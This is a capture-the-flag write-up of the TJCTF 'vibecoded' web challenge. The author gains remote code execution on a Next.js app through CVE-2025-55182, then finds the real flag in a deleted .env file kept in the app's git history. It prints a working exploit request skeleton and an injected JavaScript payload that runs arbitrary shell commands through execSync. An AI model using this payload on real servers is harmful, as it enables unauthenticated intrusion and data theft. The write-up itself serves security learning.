← Writing
ctfsecuritywebnextjsrce

I Hacked a Vibecoded App

by Gilang Windu Asmara


CTF: TJCTF, Thomas Jefferson High School CTF
Challenge: web/vibecoded
Category: Web


The Challenge

i vibe coded a website and told gpt to make it secure so there is nothing you can do now!!!

link: https://instancer.tjctf.org/challenge/vibecoded

The challenge uses an instancer. Visiting the link spins up a private machine that lives for 20 minutes and hands back a unique URL:

https://vibecoded-53bfd3d6cff684b8.tjc.tf

Its a social posting app called "Yap". Users can read posts, sign up, and post things after logging in..

App homepage


Recon

I opened the app and the first thing I noticed in the elements tab was this:

/_next/static/chunks/...

The /_next/ prefix was enough of a fingerprint for me. Around the time of the CTF, CVE-2025-55182 had been all over my X and Thread timeline, and since it specifically targeted Next.js, I skipped deeper recon entirely and went straight for exploitation.

Network tab showing /_next/ assets


CVE-2025-55182

CVE-2025-55182 is a prototype pollution vulnerability in how Next.js deserializes React Flight Protocol payloads (multipart/form-data) for server actions. By crafting a malicious multipart body that pollutes Object.prototype, an attacker can inject arbitrary JavaScript into the server-side response prefix, achieving unauthenticated Remote Code Execution.

https://vercel.com/changelog/cve-2025-55182

Getting RCE

I used React2Shell to confirm the vulnerability:

react2shell -u https://vibecoded-53bfd3d6cff684b8.tjc.tf

React2Shell scan output

It confirmed the target was vulnerable. The exploit sends a crafted multipart payload to the server action endpoint with a Next-Action: x header, injecting arbitrary JavaScript into the React Flight deserializer via prototype pollution:

POST / HTTP/1.1
Host: vibecoded-53bfd3d6cff684b8.tjc.tf
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXX
Next-Action: x

------WebKitFormBoundaryXXXXX
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,
 "value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"<JS_PAYLOAD>",
 "_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
...

However, React2Shell's interactive shell was immediately problematic. Commands with any special characters (quotes, newlines, pipes) would either silently fail or return Error: No response. After some digging, I found three bugs:

  1. Shell escaping in the wrong context. The tool used POSIX single-quote escaping ('\'') to embed commands inside a JS string. That works in shell scripts, not in JavaScript. Any command containing a single quote broke the JS string and caused the server to return HTTP 500.

  2. Multi-line output corrupted the response header. Command output was embedded raw into the X-Action-Redirect HTTP header. HTTP headers cannot contain newlines, so any command returning more than one line (ls, printenv, cat) silently dropped output.

  3. HTTP errors treated as no response. Python's requests.Response is falsy for status codes ≥ 400. The original code used if not resp to detect failure, so HTTP 500 (raised when execSync throws) was indistinguishable from a network timeout.

Since React2Shell wasn't going to cut it for real enumeration, I wrote my own minimal tool: r2s.

The key fixes in the injected JS payload:

// command is base64-encoded in Python, no escaping issues whatsoever
var _c = Buffer.from('<base64_cmd>', 'base64').toString();
var _o;
try {
    _o = process.mainModule.require('child_process')
           .execSync(_c, {timeout: 10000, stdio: ['pipe','pipe','pipe']})
           .toString();
} catch (_e) {
    // capture stderr too, so errors are visible instead of crashing
    _o = _e.stderr ? _e.stderr.toString() : String(_e);
}
// hex-encode: safe in any HTTP header regardless of content
var _r = Buffer.from(_o).toString('hex');
throw Object.assign(new Error('NEXT_REDIRECT'), {
    digest: `NEXT_REDIRECT;push;/cmd?out=${_r};307;`
});

With r2s, everything worked:

python r2s.py -u https://vibecoded-53bfd3d6cff684b8.tjc.tf --shell
[*] Checking vulnerability...
[+] VULNERABLE

r2s@vibecoded-53bfd3d6cff684b8.tjc.tf $ id
uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)

r2s@vibecoded-53bfd3d6cff684b8.tjc.tf $ pwd
/app

Interactive shell with r2s

Shell confirmed. Time to find the flag.


Rabbit Hole #1: /flag.txt

First thing I did after getting the shell was just poke around the filesystem looking for anything interesting:

r2s@vibecoded-c64bd41661c64b32.tjc.tf $ ls -la /
total 76
drwxr-xr-x    1 root     root          4096 May 16 07:51 .
drwxr-xr-x    1 root     root          4096 May 16 07:51 ..
drwxr-xr-x    1 root     root          4096 May 15 10:57 app
...
-rw-r--r--    1 root     root            39 May 15 10:57 flag.txt
...

/flag.txt immediately caught my attention.

I mean... no way a 428 point challenge would just hand me the flag like that, right?

$ cat /flag.txt
FLAG=tjctf{lmao_lock_in_stop_finding_f4k3s}

I immediately copy pasted it into the submission box (yippie).

I mean, when else am I going to solve a 428 point challenge in under 10 minutes?

Incorrect flag.

I looked back at the flag again.

lmao_lock_in_stop_finding_f4k3s

oh.


Rabbit Hole #2: Environment Variable

At this point I started checking the environment variables just in case the flag was sitting there somewhere.

$ printenv | grep FLAG
FLAG=tjctf{lmao_lock_in_stop_finding_f4k3s}

The exact same fake flag again.

Rabbit Hole #3: SQLite Database

After getting baited twice already, I started digging through the app files a bit more carefully.

The environment had DB_PATH=/var/lib/yap/data.db, and the Next.js config mentioned better-sqlite3, so naturally I went straight for the database:

$ strings /var/lib/yap/data.db | grep -i tjctf
k3adminyapmaster2025!Yap Adminkeeping the vibes aliveyap_prod_tjctf{lmao_lock_in_stop_finding_f4k3s}

There it was again.

At this point the author was 100% rage baiting me.


The Real Flag: Git History

After burning through the obvious spots, I ran ls -la on the app directory:

$ ls -la /app
...
drwxr-xr-x  .git
drwxr-xr-x  .next
...

ls -la output

A .git directory sitting on a production server.

$ git -C /app log --all --oneline
8e522db remove sensitive config
0692a5a initial commit

"remove sensitive config" as the second commit message. That is the kind of thing that gives me the same feeling as finding an unlocked door. I checked the diff:

$ git -C /app show 8e522db
diff --git a/.env b/.env
deleted file mode 100644
index 958d9d6..0000000
--- a/.env
+++ /dev/null
@@ -1 +0,0 @@
-FLAG=tjctf{th1s_1s_Y_w3_d0nt_vibeeee_codeeee_sv3lte_ov3r_r34ct_any_d4y_r34ct_s3rv3r_c0mp0n3nts_CVE-2025-55182}

The .env file was deleted in the second commit, but git never forgets. Kinda like my ex.

Flag: tjctf{th1s_1s_Y_w3_d0nt_vibeeee_codeeee_sv3lte_ov3r_r34ct_any_d4y_r34ct_s3rv3r_c0mp0n3nts_CVE-2025-55182}

found the flag


Summary

Telling GPT to "make it secure" doesn't make it secure. And if you leave .git on the server, everything you ever committed is still there.


Tools

  • React2Shell: used for initial vuln confirmation
  • r2s: minimal single-file exploit written during the challenge to replace React2Shell's broken shell